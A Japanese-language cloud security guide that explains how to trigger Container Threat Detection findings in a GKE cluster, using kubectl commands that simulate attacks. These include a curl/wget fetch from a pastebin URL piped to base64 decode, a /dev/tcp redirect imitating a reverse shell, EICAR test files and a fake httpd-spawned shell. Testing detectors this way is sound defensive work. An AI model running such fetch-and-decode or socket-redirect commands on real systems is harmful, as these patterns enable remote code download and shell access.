このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Container Threat Detection の動作を確認する方法について説明します。Container Threat Detection は、Security Command Center のプレミアム ティアの組み込みサービスです。Container Threat Detection の検出結果を表示するには、Security Command Center の [サービス] の設定で有効にする必要があります。
始める前に
コンテナに対する潜在的な脅威を検出するには、サポート対象バージョンの Google Kubernetes Engine(GKE)にクラスタが存在していることを確認する必要があります。詳細については、サポートされている GKE バージョンの使用をご覧ください。
環境変数を設定する
検出機能をテストするには、Google Cloud Console と Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。Container Threat Detection のすべての検出機能をテストするには、次の変数を使用します。
Google Cloud コンソールに移動します。
テストに使用するコンテナが含まれているプロジェクトを選択します。
「Cloud Shell をアクティブにする」をクリックします。
Cloud Shell で、環境変数を設定します。
クラスタが配置されているゾーン:
export ZONE=CLUSTER_ZONE
コンテナが含まれているプロジェクト:
export PROJECT=PROJECT_ID
クラスタ名:
export CLUSTER_NAME=CLUSTER_NAME
変数が設定されました。次のセクションでは、Container Threat Detection 検出機能をテストする手順を説明します。
追加されたバイナリの実行
追加されたバイナリの実行を検出するには、コンテナにバイナリをドロップして実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls
を別の場所にコピーしてから実行しています。イメージが Ubuntu 18.04 のものであっても、バイナリのコピーは元のコンテナ イメージの一部ではありません。コンテナの変更はできないため、このバイナリの実行は想定外です。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
バイナリをドロップして実行します。
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの実行が検出されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center プレミアム ティアを有効にする必要があります。
ノイズを軽減するために、コンテナを初めて作成する際、追加されたバイナリの実行結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのバイナリ実行の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
追加されたライブラリの読み込み
追加されたライブラリの読み込みの検出をトリガーするには、コンテナにライブラリをドロップして読み込みます。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/lib/x86_64-linux-gnu/libc.so.6
を別の場所にコピーしてから ld
を使用して読み込んでいます。Ubuntu 18.04 上のイメージであり、コンテナが変更されていなくても、ライブラリは元のコンテナ イメージの一部ではないため、このライブラリの読み込みは予期しないものです。
環境変数を設定します。
Cloud Shell を使用してクラスタ コントロール プランにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
ライブラリをドロップして
ld
を使用して読み込みます。tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの読み込みが検出されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center プレミアム ティアを有効にする必要があります。
ノイズを軽減するために、コンテナを初めて作成する際、追加されたライブラリの読み込み結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのライブラリ読み込みの検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
実行: 追加された悪意のあるバイナリが実行された
「実行: 追加された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナに悪意のあるバイナリをドロップして実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、シミュレートされた悪意のあるファイルを作成して実行します。シミュレートされた悪意のあるバイナリが元のコンテナ イメージの一部ではなく、このバイナリが EICAR テストファイルであり、脅威インテリジェンスから悪意のあるものとして分類されたファイルであるため、このバイナリの実行は想定外です。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
EICAR バイナリをドロップして実行します。
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center Premium ティアを有効にする必要があります。
ノイズを軽減するために、コンテナを初めて作成する際、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべての「実行: 追加された悪意のあるバイナリが実行された」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
実行: 変更された悪意のあるバイナリが実行された
「実行: 変更された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナ内の悪意のあるバイナリを変更して実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls
をシミュレートされた悪意のあるファイルに変更してから実行します。コンテナの実行時にシミュレートされた悪意のあるバイナリとして /bin/ls
が変更され、このバイナリが脅威インテリジェンスによって悪意のあるものとして分類されたファイルである EICAR テストファイルであるため、このバイナリの実行は想定外です。
悪意のあるファイルをテストする EICAR として変更してから実行します。作成された /bin/ls
がコンテナの実行時に悪意のあるバイナリをテストする EICAR として変更され、EICAR バイナリは脅威インテリジェンスに従って既知の悪意のあるファイルであるため、このバイナリの実行は想定外です。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
EICAR バイナリをドロップして実行します。
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center プレミアム ティアを有効にする必要があります。
ノイズを軽減するために、コンテナを初めて作成する際、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべての「実行: 変更された悪意のあるバイナリが実行された」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
悪意のあるスクリプトの実行
悪意のあるスクリプトの実行の検出をトリガーするには、コンテナ内で次の手順に沿ってスクリプトを実行します。
この手順では、最新の Ubuntu 18.04 イメージをデプロイし、悪意がある可能性のあるスクリプトをコピーして実行します。検出をトリガーするには、スクリプトが検出機能によって悪意のあるものと見なされる必要があります。
Cloud Shell を使用してクラスタ コントロール プランにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
新しいコンテナで次のスクリプトを実行します。
このインライン bash シェル スクリプトは Honeypot から始まります。ただし、悪意のあるバイナリを実行しないように変更されているため、スクリプトを実行してもコンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが削除されている可能性があり、その URL をたどろうとすると 404 エラーが発生します。これは予期された状況です。 インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出がトリガーされます。
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
このテスト手順では、Container Threat Detection のロギングが構成されている場合に Security Command Center と Cloud Logging で表示できる、悪意のあるスクリプトの実行の検出を作成します。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center プレミアム ティアを有効にする必要があります。
悪意のある URL の観測
悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。
次の例では、Ubuntu 18.04 イメージをデプロイして /bin/curl
を実行し、セーフ ブラウジング サービスからサンプルのマルウェア URL にアクセスします。
Cloud Shell を使用してクラスタ コントロール プランにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
curl
を実行し、引数として悪意のある URL を指定します。tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
このテスト手順では Security Command Center と Cloud Logging(Container Threat Detection に Logging を構成している場合)で表示可能な悪意のある URL の観測の検出結果がトリガーされます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center プレミアム ティアを有効にする必要があります。
リバースシェル
リバースシェルの検出をトリガーするには、TCP 接続のソケットへの stdin
リダイレクトでバイナリを開始します。この例では、DNS ポート上の Google Public DNS 8.8.8.8
へのリダイレクトで /bin/echo
を開始します。この例を実行しても、何も出力されません。中間者(MITM)攻撃による外部コード インジェクションを防ぐため、この例では /bin/bash binary
を使用しません。
環境変数を設定します。
Cloud Shell を使用してクラスタ コントロール プランにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Google Public DNS への
/bin/echo
リダイレクトでバイナリを開始します。tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
このテスト手順で、リバースシェルの検出結果が作成され、Security Command Center でこの検出結果が確認できます。また、Container Threat Detection のロギングを構成していた場合は、Cloud Logging でもこの検出結果を確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center プレミアム ティアを有効にする必要があります。
予期しない子シェル
Unexpected Child Shell
検出機能をテストするには、子シェルプロセスを含むプロセスツリーを作成します。
次の例では、Unexpected Child Shell
検出機能で検出できる httpd->dash
プロセスツリーを作成します。このテストは組み込みのバイナリのみを使用するため、安全です。この例では、次の操作を行います。
bash
プロセスのコピーを作成して、httpd
という名前を付けます。echo
プロセスをコピーして、dash
という名前を付けます。- コピーした
httpd
プロセスで、コピーしたdash
プロセスを呼び出します。
Unexpected Child Shell
の検出結果をトリガーするには、次の操作を行います。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
疑似
httpd
プロセスで疑似シェルが呼び出されます。tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \ /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
このテスト手順では、Security Command Center で表示できる Unexpected Child Shell
の検出結果を作成します。Container Threat Detection のロギングを構成し、組織レベルで Security Command Center のプレミアム ティアを有効にしている場合は、Cloud Logging でも検出結果を表示できます。
注: 上記のテストコマンドの & wait
の部分は重要です。予期しない子シェル検出機能の公開プレビュー版では、新しいシェルに対して fork
、その後に exec
を実行する親プロセスのみをキャプチャできます。コマンドの & wait 部分を省略すると、検出機能はイベントをキャプチャできなくなります。
次のステップ
- Container Threat Detection の使用方法を学習する。